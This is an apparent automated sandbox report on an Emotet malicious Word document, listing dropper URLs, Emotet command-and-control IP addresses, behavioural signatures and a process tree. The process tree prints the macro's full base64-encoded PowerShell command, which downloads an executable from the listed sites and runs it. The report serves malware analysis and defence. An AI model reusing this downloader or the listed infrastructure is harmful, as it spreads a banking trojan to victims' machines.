Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    69s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    18/09/2020, 12:39

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_3af8818af3a41a87c382d325ef9cdad87b22f10d2689c034dad6c41e28fa01d7_2020-09-18__123722._doc.doc
  • Size 192KB
  • Sample200918-xws9ctrgcn
  • SHA256 3af8818af3a41a87c382d325ef9cdad87b22f10d2689c034dad6c41e28fa01d7
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://zplusshopping.com/wp-content/plugins/8ek/
  • exe.dropper

    https://www.cupgel.com/__MACOSX/3/
  • exe.dropper

    http://freespiritmind.com/MASD/HowTo/css/J/
  • exe.dropper

    http://crewnecksusa.com/wp-content/NJ/
  • exe.dropper

    http://www.dougsuniverse.com/pics/yL8/
  • exe.dropper

    https://idilsoft.com/admin/B/
  • exe.dropper

    https://guhaasmart.com/wp-content/s/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3af8818af3a41a87c382d325ef9cdad87b22f10d2689c034dad6c41e28fa01d7_2020-09-18__123722._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1132
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGUAcgBsAEQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAbwBgAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAbABzACcAKQApADsAJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAnAEYAMQAnACsAJwByAHgAJwApACsAKAAnAGcANAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACgAJwBCACcAKwAnAGYAZgBsAHQAJwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBiAGwANwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZABWAFgAJwArACcAVwBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZAAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAnAGoAJwArACcAegBlACcAKwAnAHIAbABkAGQAVgBYACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBoAEEAUgBdADEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFgAOQB0AGQANgBfAHUAPQAoACcAQQAnACsAJwA4ADMAJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1ACcAKwAnAHMAJwArACcAcwAnACsAKAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAJwArACgAJwAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAnADgAZQBrACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAnAHUAcABnAGUAJwArACcAbAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8ATQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAnAGUAZQBzACcAKwAnAHAAJwApACsAJwBpACcAKwAoACcAcgBpAHQAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAnACsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAnAC8ASgAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAbgBlACcAKQArACgAJwBjACcAKwAnAGsAcwAnACkAKwAoACcAdQAnACsAJwBzAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8ATgBKACcAKwAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAGQAbwAnACkAKwAnAHUAZwAnACsAJwBzAHUAJwArACgAJwBuAGkAJwArACcAdgBlACcAKQArACcAcgBzACcAKwAnAGUALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBwAGkAJwArACcAYwBzACcAKwAnAC8AeQAnACsAKAAnAEwAOAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwBpAGQAaQBsACcAKwAnAHMAJwArACcAbwAnACkAKwAoACcAZgB0AC4AJwArACcAYwAnACkAKwAnAG8AJwArACgAJwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AQgAvACcAKwAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnAHUAJwArACcAaABhAGEAJwArACcAcwAnACkAKwAnAG0AJwArACcAYQAnACsAJwByACcAKwAoACcAdAAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAnACsAJwAvACcAKwAnAHMALwAnACkALgAiAFMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA3AHEAcgAyADIAbgA9ACgAJwBVAGEAJwArACgAJwBxACcAKwAnAHcAagBuAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAGYAeQBuADEAXwBrACAAaQBuACAAJABWADcAOABzAHUAaABmACkAewB0AHIAeQB7ACQAUQB1ADMAeQBjADUAagAuACIAZABgAE8AVwBuAGAATABvAEEAZABmAGkAbABlACIAKAAkAEUAZgB5AG4AMQBfAGsALAAgACQATQB4AHEAYgBsADcAbAApADsAJABWAG8AawA3AGIANAB6AD0AKAAoACcARQBpACcAKwAnAGgAawAnACkAKwAoACcAeAAnACsAJwA3ADMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQB4AHEAYgBsADcAbAApAC4AIgBsAGAAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAxADcAMQA2ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE0AeABxAGIAbAA3AGwAKQA7ACQAQgBhAHgAZgBnAHMAZgA9ACgAJwBZAGsAJwArACcANQAnACsAKAAnAHUAJwArACcAOQB2AHgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAYQBiAGgAdQBjAHMAPQAoACgAJwBNACcAKwAnAGwAdAAnACkAKwAoACcAdQAnACsAJwBjADAAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA5AGgAbQBiAF8AeAA9ACgAKAAnAEQAbAAnACsAJwBkACcAKQArACgAJwBzADYAbwAnACsAJwBoACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1624
    • C:\Users\Admin\Wc5suwd\Ijzerld\F1rxg4v7.exe
      "C:\Users\Admin\Wc5suwd\Ijzerld\F1rxg4v7.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:308
      • C:\Windows\SysWOW64\NlsLexicons0009\KBDSMSFI.exe
        "C:\Windows\SysWOW64\NlsLexicons0009\KBDSMSFI.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:872

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/308-17-0x0000000000260000-0x0000000000270000-memory.dmp
        Download

        memory/308-16-0x0000000000240000-0x0000000000252000-memory.dmp
        Download

        memory/872-22-0x0000000000240000-0x0000000000250000-memory.dmp
        Download

        memory/872-21-0x00000000003D0000-0x00000000003E2000-memory.dmp
        Download

        memory/1132-3-0x0000000006E40000-0x0000000007040000-memory.dmp
        Download

        memory/1132-2-0x00000000088F0000-0x00000000088F4000-memory.dmp
        Download

        memory/1240-23-0x000007FEF4BF0000-0x000007FEF4E6A000-memory.dmp
        Download

        memory/1624-9-0x000000001AD10000-0x000000001AD11000-memory.dmp
        Download

        memory/1624-13-0x000000001C520000-0x000000001C521000-memory.dmp
        Download

        memory/1624-12-0x000000001C170000-0x000000001C171000-memory.dmp
        Download

        memory/1624-11-0x0000000002040000-0x0000000002041000-memory.dmp
        Download

        memory/1624-10-0x0000000002010000-0x0000000002011000-memory.dmp
        Download

        memory/1624-8-0x0000000001E60000-0x0000000001E61000-memory.dmp
        Download

        memory/1624-7-0x000007FEE9740000-0x000007FEEA12C000-memory.dmp
        Download